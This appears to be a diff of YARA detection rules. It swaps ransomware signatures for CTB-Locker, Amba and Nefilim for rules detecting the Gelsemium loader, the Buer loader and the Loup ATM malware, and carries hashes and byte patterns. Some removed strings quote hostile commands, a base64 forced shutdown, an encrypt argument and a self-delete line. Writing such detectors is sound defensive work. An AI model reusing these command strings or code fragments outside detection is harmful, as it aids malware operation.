-		tags = "CTB_LOCKER_RANSOMWARE, RANSOMWARE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/CTBLocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "1a9d78e5c255de239fb18b2cf47c4c2298f047073299c27fb54a0edf08a1d5a1"
+		hash1 = "51b9296ff1f562350cd63abd22c6032ef26d5ae6a3e2e5e0f851d8b1a5d0ee35"
+		tlp = "white"
+		adversary = "Gelsemium"
 
 	strings:
-		$string0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
-		$stringl = "RNDBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
-		$string2 = "keme132.DLL"
-		$string3 = "klospad.pdb"
+		$s1 = { 48 8b c4 55 41 56 41 57 48 8d a8 38 fa ff ff 48 81 ec b0 06 00 00 48 c7 85 a0 02 00 00 fe ff ff ff 48 89 58 08 48 89 70 10 48 89 78 18 4c 89 60 20 48 8b 05 68 bf 0b 00 48 33 c4 48 89 85 a0 05 00 00 45 33 e4 4c 89 65 08 4c 89 65 10 44 89 64 24 20 48 8d 54 24 20 48 8d 4d 08 e8 30 96 01 00 90 48 c7 85 f8 00 00 00 07 00 00 00 4c 89 a5 f0 00 00 00 66 44 89 a5 e0 00 00 00 45 8d 44 24 04 48 8d 15 79 d8 08 00 48 8d 8d e0 00 00 00 e8 dd b0 00 00 90 48 8d 8d e0 00 00 00 e8 50 30 ff ff 90 48 83 bd f8 00 00 00 08 72 0d 48 8b 8d e0 00 00 00 ff 15 b0 32 06 00 48 c7 85 b8 01 00 00 07 00 00 00 4c 89 a5 b0 01 00 00 66 44 89 a5 a0 01 00 00 41 b8 10 00 00 00 48 8d 15 61 d6 08 00 48 8d 8d a0 01 00 00 e8 85 b0 00 00 90 48 8d 95 a0 01 00 00 48 8d 8d 80 05 00 00 e8 41 96 01 00 90 48 83 bd b8 01 00 00 08 72 0d 48 8b 8d a0 01 00 00 ff 15 51 32 06 00 48 c7 85 68 04 00 00 07 00 00 00 4c 89 a5 60 04 00 00 66 44 89 a5 50 04 00 00 48 c7 85 78 01 00 00 07 00 00 00 4c 89 a5 70 01 00 00 66 44 89 a5 60 01 00 00 49 83 ce ff 4d 8b ce 45 33 c0 48 8d 95 80 05 00 00 48 8d 8d 60 01 00 00 e8 c8 ae 00 00 90 48 8d 95 60 01 00 00 48 8d 8d e0 01 00 00 e8 e4 5b ff ff 90 48 8d 8d 50 04 00 00 48 3b c8 74 15 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 50 04 00 00 e8 92 ae 00 00 48 8d 8d 50 04 00 00 e8 b6 11 ff ff 90 48 83 bd f8 01 00 00 08 72 0d 48 8b 8d e0 01 00 00 ff 15 a6 31 06 00 48 c7 85 f8 01 00 00 07 00 00 00 4c 89 a5 f0 01 00 00 66 44 89 a5 e0 01 00 00 48 83 bd 78 01 00 00 08 72 0d 48 8b 8d 60 01 00 00 ff 15 75 31 06 00 33 d2 48 8d 8d 50 04 00 00 e8 5f 2b 04 00 48 c7 85 58 01 00 00 07 00 00 00 4c 89 a5 50 01 00 00 66 44 89 a5 40 01 00 00 41 b8 0d 00 00 00 48 8d 15 b8 e2 08 00 48 8d 8d 40 01 00 00 e8 3c af 00 00 90 e8 96 2d ff ff 48 8d 48 30 48 8d 95 40 01 00 00 e8 b6 77 00 00 48 8b c8 e8 fe dc 02 00 48 8b c8 e8 16 d5 ff ff 90 48 83 bd 58 01 00 00 08 72 0d 48 8b 8d 40 01 00 00 ff 15 f6 30 06 00 48 c7 85 18 01 00 00 07 00 00 00 4c 89 a5 10 01 00 00 66 44 89 a5 00 01 00 00 41 b8 24 00 00 00 48 8d 15 d7 e3 08 00 48 8d 8d 00 01 00 00 e8 cb ae 00 00 90 48 8d 8d 00 01 00 00 e8 ce 6b 00 00 84 c0 0f 94 c3 48 83 bd 18 01 00 00 08 72 0d 48 8b 8d 00 01 00 00 ff 15 9a 30 06 00 84 db 0f 84 36 08 00 00 4c 89 a5 88 04 00 00 4c 89 a5 90 04 00 00 e8 f7 3b 01 00 48 89 85 88 04 00 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 41 b8 0b 00 00 00 48 8d 15 2a d6 08 00 48 8d 4d 38 e8 59 ae 00 00 90 e8 b3 2c ff ff 48 8d 48 30 48 8d 55 38 e8 96 75 00 00 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 98 04 00 00 e8 d7 ac 00 00 90 48 83 7d 50 08 72 0a 48 8b 4d 38 ff 15 fd 2f 06 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 4c 89 a5 b8 04 00 00 4c 89 a5 c0 04 00 00 4c 89 a5 c8 04 00 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 41 b8 01 00 00 00 48 8d 15 0d e3 08 00 48 8d 4d e8 e8 b8 ad 00 00 90 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 41 b8 0d 00 00 00 48 8d 15 e9 e2 08 00 48 8d 4d a8 e8 90 ad 00 00 90 e8 ea 2b ff ff 48 8d 48 30 48 8d 55 a8 e8 cd 74 00 00 48 8b d0 4c 8d 45 e8 48 8d 8d b8 04 00 00 e8 1a 55 01 00 90 48 83 7d c0 08 72 0a 48 8b 4d a8 ff 15 50 2f 06 00 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 48 83 7d 00 08 72 0a 48 8b 4d e8 ff 15 2e 2f 06 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 48 8d 85 98 04 00 00 48 89 85 c0 00 00 00 48 8d 85 88 04 00 00 48 89 85 c8 00 00 00 48 8b 9d b8 04 00 00 48 8b bd c0 04 00 00 48 3b df 0f 84 8b 02 00 00 66 90 4c 89 a5 48 05 00 00 4c 89 a5 50 05 00 00 48 c7 45 30 07 00 00 00 4c 89 65 28 66 44 89 65 18 4c 8d 85 50 04 00 00 48 83 bd 68 04 00 00 08 4c 0f 43 85 50 04 00 00 48 8d 95 50 04 00 00 48 0f 43 95 50 04 00 00 48 8b 85 60 04 00 00 4d 8d 04 40 48 8d 4d 18 e8 37 b4 01 00 90 48 8d 55 18 48 8d 8d 48 05 00 00 e8 36 9a 00 00 90 48 83 7d 30 }
+		$s2 = { 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4c 8b 85 88 04 00 00 4d 8b c8 4d 8b 00 48 8d 95 28 02 00 00 48 8d 8d 88 04 00 00 e8 d1 fe 00 00 48 8b 8d 88 04 00 00 ff 15 5c 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 41 b8 0e 00 00 00 48 8d 15 b7 db 08 00 48 8d 4d c8 e8 ee d0 00 00 90 48 8d 4d c8 e8 54 8c 01 00 48 8b d8 48 83 7d e0 10 72 0a 48 8b 4d c8 ff 15 18 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 48 }
+		$s3 = { 48 8d 8d a8 02 00 00 e8 88 64 01 00 90 48 8b 08 48 89 4c 24 38 48 8b 48 08 48 89 4c 24 40 4c 89 20 4c 89 60 08 48 8d 54 24 38 48 8d 4c 24 48 e8 a0 8e 01 00 90 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 41 b8 0b 00 00 00 48 8d 15 d9 d3 08 00 48 8d 4d 88 e8 a8 a5 00 00 90 48 8d 54 24 48 48 8d 4d 88 e8 d9 60 00 00 90 48 83 7d a0 08 72 0a 48 8b 4d 88 ff 15 7f 27 06 00 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 48 8b 4c 24 48 48 85 c9 74 0b 48 8b 01 ba 01 00 00 00 ff 10 90 48 8b 4c 24 40 }
+		$s4 = { 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 85 df 06 00 49 8b ce e8 05 dd ff ff e8 e0 db ff ff 48 8d 78 30 e8 27 fc ff ff 33 f6 84 c0 0f 85 ae 01 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 44 8d 46 07 48 8d 15 cf 84 09 00 48 8d 4c 24 20 e8 45 5d 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 44 8d 46 07 48 8d 15 a6 84 09 00 48 8d 4c 24 40 e8 1c 5d 01 00 90 48 8d 54 24 20 48 8b cf e8 5e 24 01 00 48 8b d8 48 8d 54 24 40 48 8d 4d 18 e8 4d 24 01 00 48 8b c8 48 8b d3 e8 72 c1 ff ff 85 c0 0f 9e c3 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 d2 de 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 ac de 06 00 84 db 0f 84 ed 00 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 20 00 00 00 48 8d 15 ec 84 09 00 48 8d 4c 24 20 e8 82 5c 01 00 90 48 8d 05 3a aa 09 00 48 89 44 24 40 48 c7 44 24 60 07 00 00 00 48 89 74 24 58 66 89 74 24 48 49 83 c9 ff 45 33 c0 48 8d 54 24 20 48 8d 4c 24 48 e8 0c 5b 01 00 90 48 8d 05 e4 a8 09 00 48 89 45 80 48 8d 4d 88 ff 15 76 de 06 00 48 8d 05 ff e7 06 00 48 89 45 a0 48 89 75 a8 48 89 75 b0 48 89 75 b8 c7 45 c0 ff ff ff ff 48 8b 45 80 48 63 48 04 48 8d 05 71 9a 09 00 48 89 44 0d 80 48 8b 45 80 48 63 48 08 48 8d 05 bd ac 09 00 48 89 44 0d 80 48 8d 54 24 40 48 8d 4d 80 e8 a2 e0 02 00 48 8b d0 41 b8 01 00 00 00 48 8d 4d d0 e8 e0 05 00 00 48 8d 15 81 f8 0b 00 48 8d 4d d0 e8 a2 46 06 00 90 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 0b 00 00 00 48 8d 15 67 83 09 00 48 8d 4c 24 20 e8 95 5b 01 00 90 48 8d 54 24 20 49 8b cd e8 d7 22 01 00 49 3b c4 74 13 49 83 c9 ff 45 33 c0 49 8b d4 48 8b c8 e8 30 5a 01 00 90 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 54 dd 06 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 07 00 00 00 48 8d 15 bc 82 09 00 48 8d 4c 24 20 e8 32 5b 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 41 b8 07 00 00 00 48 8d 15 91 82 09 00 48 8d 4c 24 40 e8 07 5b 01 00 90 48 8d 54 24 20 48 8d 4d 18 e8 48 22 01 00 48 8b d8 48 8d 54 24 40 48 8b cf e8 38 22 01 00 48 3b c3 74 13 49 83 c9 ff 45 33 c0 48 8b d3 48 8b c8 e8 91 59 01 00 90 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 b5 dc 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 }
 
 	condition:
-		3 of them
+		uint16(0)==0x5a4d and filesize >300KB and 3 of ($s*)
 }
-rule TRELLIX_ARC_Amba_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Amba Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "961f2892-e462-55e4-bd96-7dff895cb1e6"
-		date = "2017-07-03"
-		modified = "2020-08-14"
-		reference = "https://www.enigmasoftware.com/ambaransomware-removal/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_amba.yar#L1-L41"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "b9b6045a45dd22fcaf2fc13d39eba46180d489cb4eb152c87568c2404aecac2f"
-		logic_hash = "0830ab49956711d3e6ad64785edcf54146a24756c4ab66384305dc18091867bd"
+		description = "Detect Gelsenicine malware (Loader - Variant 1)"
+		author = "Arkbird_SOLG"
+		id = "36276150-a5dd-5385-9e50-958a6fa54de5"
+		date = "2021-06-12"
+		modified = "2021-06-14"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "66d9fad7105b46a55db11c5224b1a395793f2dee89f779d59c80b2f7cda5a115"
 		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Amba"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "97982e098a4538d05e78c172c9bbc5b412754df86dc73e760004f0038ec928fb"
+		hash2 = "46338cae732ee1664aac77d9dce57c4ff8666460c1a51bee49cae44c86e42df9"
+		hash3 = "f0d23aa026ae6ba96051401dc2b390ba5c968d55c2a4b31a36e45fb67dfc2e3c"
+		tlp = "white"
+		adversary = "Gelsemium"
 
 	strings:
-		$s1 = "64DCRYPT.SYS" fullword wide
-		$s2 = "32DCRYPT.SYS" fullword wide
-		$s3 = "64DCINST.EXE" fullword wide
-		$s4 = "32DCINST.EXE" fullword wide
-		$s5 = "32DCCON.EXE" fullword wide
-		$s6 = "64DCCON.EXE" fullword wide
-		$s8 = "32DCAPI.DLL" fullword wide
-		$s9 = "64DCAPI.DLL" fullword wide
-		$s10 = "ICYgc2h1dGRvd24gL2YgL3IgL3QgMA==" fullword ascii
-		$s11 = "QzpcVXNlcnNcQUJDRFxuZXRwYXNzLnR4dA==" fullword ascii
-		$s12 = ")!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v)" fullword ascii
-		$s13 = "RGVmcmFnbWVudFNlcnZpY2U="
-		$s14 = "LWVuY3J5cHQgcHQ5IC1wIA=="
-		$s15 = "LWVuY3J5cHQgcHQ3IC1wIA=="
-		$s16 = "LWVuY3J5cHQgcHQ2IC1wIA=="
-		$s17 = "LWVuY3J5cHQgcHQzIC1wIA=="
+		$s1 = { b8 [3] 74 e8 [2] 00 00 81 ec bc 03 00 00 53 56 57 be [3] 74 8d bd 38 fc ff ff 6a 1b a5 a5 a5 a5 66 a5 59 33 c0 8d bd 4a fc ff ff be [3] 74 f3 ab 66 ab 8d bd b8 fc ff ff 6a 1c a5 a5 a5 a5 59 33 c0 8d bd c8 fc ff ff 6a 07 f3 ab 59 be [3] 74 8d bd 38 fd ff ff 6a 18 f3 a5 66 a5 8b 5d 0c 59 8d bd 56 fd ff ff 83 65 cc 00 f3 ab 66 ab 8a 03 6a 00 8d 4d e0 c7 45 c0 24 00 00 00 c7 45 c4 25 00 00 00 c7 45 c8 23 00 00 00 88 45 e0 ff 15 [3] 74 a1 [3] 74 8d 4d e0 ff 30 6a 00 53 ff 15 [3] 74 8a 45 0f 6a 00 8d 4d d0 c7 45 fc 01 00 00 00 88 45 d0 ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8d 4d d0 ff 15 [3] 74 8b 55 d4 8b 0d [3] 74 85 d2 c6 45 fc 02 75 02 8b d1 8b 43 04 85 c0 75 02 8b c1 ff 75 d8 52 50 ff 15 [3] 74 83 c4 0c 85 c0 0f 85 d9 00 00 00 8d 85 b8 fd ff ff 50 68 04 01 00 00 ff 15 [3] 74 8d 85 b8 fd ff ff 50 ff d6 85 c0 59 0f 84 b5 00 00 00 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 2f 59 74 56 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 5c 59 74 41 8d 4d e0 ff 15 [3] 74 8b 7d e4 8b 5d d8 8d 4d e0 ff 15 [3] 74 8b 45 e4 89 45 f0 8d 85 b8 fd ff ff 50 ff d6 59 8d 84 45 b8 fd ff ff 50 8d 85 b8 fd ff ff 50 8d 44 5f fe 50 ff }
+		$s2 = { ff 75 0c 89 45 f0 ff d6 50 ff 75 0c ff 75 f0 ff 15 [3] 74 83 c4 10 85 c0 }
+		$s3 = "pluginkey" fullword wide
+		$s4 = { 55 8b ec 51 33 c0 56 f6 05 [3] 74 01 89 45 fc 0f 85 c6 00 00 00 8a 4d 0b 80 0d [3] 74 01 53 bb [3] 74 57 88 0d [3] 74 50 8b cb ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 68 [2] e2 74 e8 [2] 00 00 59 5f 33 c0 5b 8b 75 08 8a 4d 0b 68 [3] 74 68 [3] 74 88 0e 50 8b ce 89 46 04 89 46 08 89 46 0c e8 [2] 00 00 8b c6 5e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and (8 of them )) or ( all of them )
+		uint16(0)==0x5a4d and filesize >15KB and 3 of ($s*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Nefilim_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Loader_Buer_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Nefilim ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "55d9cb20-5071-5dce-a46f-a20816ba379f"
-		date = "2020-03-17"
-		modified = "2020-04-03"
-		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L3-L48"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6"
-		logic_hash = "d8cd5d2dd552d3e9f57f7bd244e941fe89a96ab16bbcc71911e8e2a519f53f03"
+		description = "Detect Buer loader"
+		author = "Arkbird_SOLG"
+		id = "a2883eca-d576-53ba-aa97-5e3c94f501a5"
+		date = "2020-12-01"
+		modified = "2020-12-01"
+		reference = "https://twitter.com/James_inthe_box/status/1333551419735953409"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-01/Buer/Mal_Buer_Nov_2020_1.yar#L35-L64"
+		license_url = "N/A"
+		logic_hash = "96a74b497076be170ce6138189501d8b3a1002bcf07f9d3cf662d64612d04a59"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Nefilim"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 55
+		tags = "FILE"
+		hash1 = "2824d4b0e5a502416696b189bd840870a19dfd555b53535f20b0c87c95f4c232"
+		hash2 = "a98abbce5e84c4c3b67b7af3f9b4dc9704b5af33b6183fb3c192e26b1e0ca005"
+		hash3 = "ae3ac27e8303519cf04a053a424a0939ecc3905a9a62f33bae3a29f069251b1f"
 
 	strings:
-		$s1 = "C:\\Users\\Administrator\\Desktop\\New folder\\Release\\NEFILIM.pdb" fullword ascii
-		$s2 = "oh how i did it??? bypass sofos hah" fullword ascii
-		$s3 = " /c timeout /t 3 /nobreak && del \"" fullword wide
-		$s4 = "NEFILIM-DECRYPT.txt" fullword wide
-		$op0 = { db ff ff ff 55 8b ec 83 ec 24 53 56 57 89 55 f4 }
-		$op1 = { 60 be 00 d0 40 00 8d be 00 40 ff ff 57 eb 0b 90 }
-		$op2 = { 84 e0 40 00 90 d1 40 00 08 }
-		$bp = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????53568D??????????E8????????33??6A??5939????76??5783????75??8B????8D????A5A5A58D??????????A5508D????E8????????596A??588B????8D????80????75??48C6????79??EB??FE????33??8A??????8B????30????43413B????72??5F8B????8B????6A??2B??5E8A????88??404E75??5E5BC9C3558B??81??????????53FF????8D??????????50FF??????????68????????8D??????????50FF??????????33??53536A??535368????????8D??????????50FF??????????89????3B??0F84????????56578D????5053BE????????5689????FF??????????5056E8????????83????85??75??53FF??????????FF????8B??????????53FF??50FF??????????8D????51505689????FF??????????5056E8????????83????85??74??8B????89????8D????50FF????E8????????59595385??74??8D????50FF????FF????FF????FF??????????FF????53FF??50FF??????????5F5E5BC9C3558B??83????81??????????535657FF????8D????????????50FF??????????8B??????????68????????8D????????????50FF??8D??????508D????????????50FF??????????89??????83????0F84????????8B??????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????68????????8D??????50FF??85??0F84????????F6????????FF????8D????????????5074??FF??????????8D??????508D????????????50FF??68????????8D????????????50FF??8D????????????50E8????????E9????????FF??????????8D??????508D????????????50FF??8D??????50E8????????8B??C7????????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??0F84????????68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????57FF??85??74??68????????8D??????50FF??85??74??8D????????????50E8????????598D??????50FF??????FF??????????85??0F85????????FF??????FF??????????5F5E5B8B??5DC3558B??81??????????53565768????????FF??????????8B??????????5033??57FF??8B??????????50FF??68????????89????FF??????????89????B8????????39????74??8B????2B??8A??FF????88????4039????75??57576A??575768????????FF????FF??????????89????3B??0F84????????8D????5150FF??????????6A??57FF??50FF??6A??5789????FF??50FF??FF????89????E8????????FF????E8????????595968????????57FF??50FF??68????????5789????FF??50FF??FF????8B????89????E8????????FF????8B????E8????????8B??????????59595757FF????FF????FF????FF??57FF??????????578D????5068????????FF????FF????FF??????????FF??????????83????0F84????????FF??????????83????0F84????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF????FF????FF??????????8B????8B????5705????????5713??5150FF????FF??578D????5068????????FF??????????50FF????FF????FF??????????8B????8B????3B??0F8C????????7F??81??????????0F86????????89????89????3B??0F8C????????7F??3B??0F86????????EB??8B????2B????1B????89????0F88????????7F??81??????????0F82????????68????????57FF??50FF??????????5757FF????89????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????5757FF????FF????FF????FF??578D????5068????????FF????FF????FF??????????FF??FF????5750FF??????????81????????????8B????11????39????0F8C????????0F8F????????8B????39????0F82????????E9????????3B??7C??7F??81??????????76??68????????57FF??50FF??????????575733??89????5133??50FF????FF??578D????5068????????FF????FF????FF??????????FF????8B????FF????68????????FF????E8????????83????575733??5050FF????FF??578D????5068????????EB??5157FF??50FF??????????575733??89????5133??50FF????FF??578D????50FF????FF????FF????FF??????????FF????8B????FF????FF????FF????E8????????83????575733??5050FF????FF??578D????50FF????FF????FF????FF??????????FF????57FF??50FF??????????FF????FF??????????FF????57FF??8B??????????50FF??FF???? }
+		$s1 = "bcdfghklmnpqrstvwxz" fullword ascii
+		$s2 = "%02x" fullword wide
+		$s3 = "{%s-%d-%d}" fullword wide
+		$s4 = "update" fullword wide
+		$s5 = "]otju}y&Ykx|kx&867?5Ykx|kx&867<" fullword ascii
+		$s6 = "]otju}y&Ykx|kx&8678&X8" fullword ascii
+		$s7 = "]otju}y&\\oyzg5Ykx|kx&857>" fullword ascii
+		$s8 = "]otju}y&>47" fullword ascii
+		$s9 = "]otju}y&Ykx|kx&8678" fullword ascii
+		$s10 = "]otju}y&=" fullword ascii
+		$s11 = "Iutzktz3Z" fullword ascii
+		$s12 = "g|mnuuq~4jrr" fullword ascii
+		$s13 = "RegularModules" fullword ascii
+		$s14 = "]otju}y&>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or all of ($op*) or $bp
+		uint16(0)==0x5a4d and filesize >10KB and 8 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Nefilim_Signed : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Mal_ATM_Loup_Aug_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Nefilim samples digitally signed"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a9a5daf0-4cfb-556a-b20a-72283fb1a0f9"
-		date = "2020-04-02"
-		modified = "2020-08-14"
-		reference = "https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_NEFILIM.yar#L50-L72"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd5"
-		logic_hash = "7625eb7de1ebb2f5410552b8983379f213d639f5e146a5d951975b69eb8111d3"
+		description = "Detect ATM malware Loup by theirs strings."
+		author = "Arkbird_SOLG"
+		id = "07c0fe02-a82a-58a7-8776-748a1c986f93"
+		date = "2020-08-17"
+		modified = "2020-08-18"
+		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-17/Loup/Mal_ATM_Loup_Aug_2020_1.yar#L3-L34"
+		license_url = "N/A"
+		logic_hash = "18e4d6af5d89746b42c87d7311e442f61deff3bfcbf57cc008d87290e91baafb"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Nefilim"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 67
+		tags = "FILE"
+		hash1 = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
+
+	strings:
+		$pdb1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" fullword ascii
+		$pdb2 = "PDBOpenValidate5" fullword ascii
+		$dbg1 = "Run-Time Check Failure #%d - %s" fullword ascii
+		$dbg2 = "Unknown Filename" fullword ascii
+		$dbg3 = "Unknown Module Name" fullword ascii
+		$info1 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii
+		$info2 = { 41 64 64 72 65 73 73 3a 20 30 78 }
+		$info3 = { 53 69 7a 65 3a }
+		$info4 = { 44 61 74 61 3a }
